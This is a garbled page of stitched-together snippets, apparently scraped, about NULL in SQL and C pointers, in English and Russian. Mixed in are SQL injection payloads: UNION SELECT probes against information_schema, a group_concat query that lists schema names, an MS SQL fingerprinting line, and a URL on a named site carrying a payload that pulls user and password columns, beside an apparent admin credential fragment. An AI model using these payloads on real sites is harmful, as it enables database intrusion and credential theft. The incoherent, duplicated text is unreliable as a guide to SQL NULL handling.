Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Then the following codes will extract the databases'name, tables'name, columns'name. UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
If a null pointer constant is converted to a pointer type, the resulting pointer, called a null pointer, is guaranteed to compare unequal to a pointer to any object or function.”
Practically speaking, the null pointer usually does correspond to the address zero, though, and I interpret Joel's question as asking why that is.
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...
I have the following query that may return null if certain dates are selected, I want to display 0 instead of a blank but cannot figure it out: * I removed the date code to make it easier. SELECT ISNULL(COUNT(*), '0') AS thecount. FROM dbo.table1.
Существуют специальные операторы IS NULL и IS NOT NULL, ко��оры�� позволяют производить сравнения с NULLами. IS NULL вернёт истину, если операнд имеет значение NULL и ложь, если он им не является.
Добрый день! Подскажите, пожалуйста, что значит "NULL", и когда он применяется ? В примере ниже , насколько я понимаю, создаётся строка, и в этой